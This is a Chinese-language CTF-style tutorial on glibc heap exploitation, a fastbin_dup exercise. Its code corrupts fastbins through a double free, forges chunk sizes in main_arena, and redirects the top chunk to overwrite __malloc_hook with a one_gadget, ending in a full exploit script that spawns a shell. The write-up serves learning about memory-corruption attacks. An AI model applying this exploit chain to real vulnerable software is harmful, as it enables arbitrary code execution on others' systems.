从零开始的Linux堆利用3 -- Fastbin Dup 2

针对fastbin_dup的练习

漏洞本身和之前一样也是fastbin_dup

直接尝试一下相同的方法

image-20210309210502975

找到__malloc_hook附近可以伪造的fake chunk

这个和之前完全一样,但是这个程序在malloc的时候的限制更大,0x70大小的chunk被限制了

image-20210309211406434

可以申请0x60的chunk也可以申请0x80的chunk,就是不能申请0x70的

image-20210309211610643

实际上这个程序的难点就是要设法使用和之前不同的方式绕过chunk对size的检查

自己尝试

思路是修改main_arena处0x70对应的fastbin地址

image-20210310145847114

在arena附近这里查找到的这两个fake chunk也都是size为0x7f

还是解决不了问题

image-20210310150452175

所以尝试首先通过两次Double Free把0x50、0x60这两个bins的地址修改成伪造的chunk头

例如首先用这样的执行流

a=malloc(0x48,"a")
b=malloc(0x48,"b")

free(a)
free(b)
free(a)

malloc(0x48,p64(0x61))
malloc(0x48,"a")
malloc(0x48,"b")

这样的一个流程结束之后就相当于在main_arena中0x50的chunk链表处写入了0x00000061

用GDB调试再用find_fake_fast

image-20210310152249545

现在已经让main_arena中可以满足size字段的检查了,接下来再通过一次fastbin_dup来申请这个位置的chunk

malloc和free的流程如下

c=malloc(0x58,"C")
d=malloc(0x58,"D")

free(c)
free(d)
free(c)

malloc(0x58,p64(libc.sym.main_arena+40))
malloc(0x58,"c")
malloc(0x58,"d")

这里的40是通过看0x50的chunk所在的位置p &main_arena->fastbinsY[3]

运行完毕之后查看fastbins

image-20210310153723077

发现这个地址好像没有对上,覆盖的那个地方应该是7b80,但是写的是7b88

所以第二次填充的那个再改一下,改成libc.sym.main_arena+32

这样从0x7b80开始就是一个符合chunk结构的fake chunk了

image-20210401161229831

目标就是修改掉红框中的这个

Arena的结构中有一个地方是指示了top chunk的

可以尝试通过在main_arena中修改掉top chunk的值,修改为__malloc_hook前面0x10字节

这样之后申请写入就是直接修改__malloc_hook

image-20210310161659389

我们伪造的chunk的user data是从0x60开始的

所以首先要填充所有的fastbin,之后的一个字就是top chunk

所以再一次malloc修改top chunk,一次malloc修改__malloc_hook

malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-0x10))
malloc(0x28,p64(libc.sym.system))

结果发现报错了,说是corrupted top size

查看一下原因

image-20210401165045099

发现是在这里比较__glibc_unlikely(size>av->system_mem)之后才会进入到这里

这是因为Glibc 2.29中对top chunk进行了一些检查;

之前的House of Force使用的是更低版本的glibc

比较中的这个av是一个变量,来表示arena管理着这个堆,在这种情况下,system_mem是从kernel检查出的当前arena内存的大小;

实际这里的值是0x21000,是我们初始化堆时的大小

如果malloc发现top chunk申请的内存比这个还要大,就会认为有地方出错导致中止分配内存

我们这里想要用一个GLIBC中的地址来伪造top chunk的size,比system_mem的内容要大得多

这里的绕过方式和之前伪造出0x7f那样的size比较类似;

也是利用这里不需要按照16字节对齐绕过的

我们首先把后面写的一堆内容注释掉,看一下初始化时的top chunk的状态

image-20210401191555374

这里的索引大概是main_arena中的top是一个mchunkptr,这个值是0x555555757160,这个地方是一个top chunk的结构体,他就是一个普通的堆chunk的结构

image-20210401191846613

所以第二个字,0x20ea1这里就是它的大小

再执行一遍我们写入top为lib.sym.__malloc_hook-0x10这样的脚本

image-20210401192541181

可以看到红圈里面相当于是伪造的top chunk的size

这个size和之前0x21000相比大了太多了,所以就会报错;

那么我们在__malloc_hook再尝试一下find_fake_fast

image-20210401192914459

可以看到我们写入值之后,这里7f可以当作chunk size的标志位来用了

这两个地址之间距离0x50-0x2d结果差了十进制的35;

所以我们把之前写的malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-0x10))

改成malloc(0x58,b"a"*0x10*3+p64(lib.sym.__malloc_hook-35))再试一下

image-20210401193134773

这时这个size字段只有7f,就可以通过验证了;

那么下一步就是覆盖__malloc_hook为我们想要执行的内容;

还是一样的使用one_gadget

image-20210401195356330

搜索出来这三个结果

__malloc_hook下断点,之后触发malloc,看这时的寄存器状态

image-20210401201516901

结果这三个gadget的约束条件都不满足;

但是回来看到

image-20210401203548451

执行时rsp+50的位置是可控的

现在我们最后一小部分的代码是

malloc(0x58,p64(libc.sym.main_arena+32))

malloc(0x58,"G"*8)
malloc(0x58,"H"*8)

malloc(0x58,b"Y"*48+p64(libc.sym.__malloc_hook-36))                                                                                                                                 
malloc(0x28,b"Z"*20+p64(libc.address+one_gadget))

直接执行的话会提示

image-20210401205651104

就是说把其中HHHHHHHH:GGGGGGGG这个当作文件来传入sh了

这个位置正好是调用sharg[1],解决办法的话,我们可以将其中的GGGGGGGG改为-s\0

这样就相当于是调用了sh -s

看一下bash的手册

If the -s option is present, or if no arguments remain after option processing, then commands are read from the standard input.  This option allows the positional parameters to be set when invoking an  interactive  shell  or when reading input through a pipe.

所以加上-s之后调用时就不会从文件定位而是从stdin输入了;

这样就可以拿到一个shell权限

最终执行的流程

one_gadget = 0xe1fa1
#  one_gadget = 0xe1fad
#  one_gadget = 0xc4dbf


# Request two 0x50-sized chunks.
chunk_A = malloc(0x48, "A"*8)
chunk_B = malloc(0x48, "B"*8)

# Free the first chunk, then the second.
free(chunk_A)
free(chunk_B)
free(chunk_A)

malloc(0x48,p64(0x61))
malloc(0x48,"C"*8)
malloc(0x48,"D"*8)

chunk_C = malloc(0x58,"E"*8)
chunk_D = malloc(0x58,"F"*8)

free(chunk_C)
free(chunk_D)
free(chunk_C)

malloc(0x58,p64(libc.sym.main_arena+32))
malloc(0x58,"-s\0")
#  malloc(0x58,"G"*8)
malloc(0x58,"H"*8)                                                                                                                   

malloc(0x58,b"Y"*48+p64(libc.sym.__malloc_hook-36))

malloc(0x28,b"Z"*20+p64(libc.address+one_gadget))
malloc(1,'')

执行脚本效果

image-20210401210231452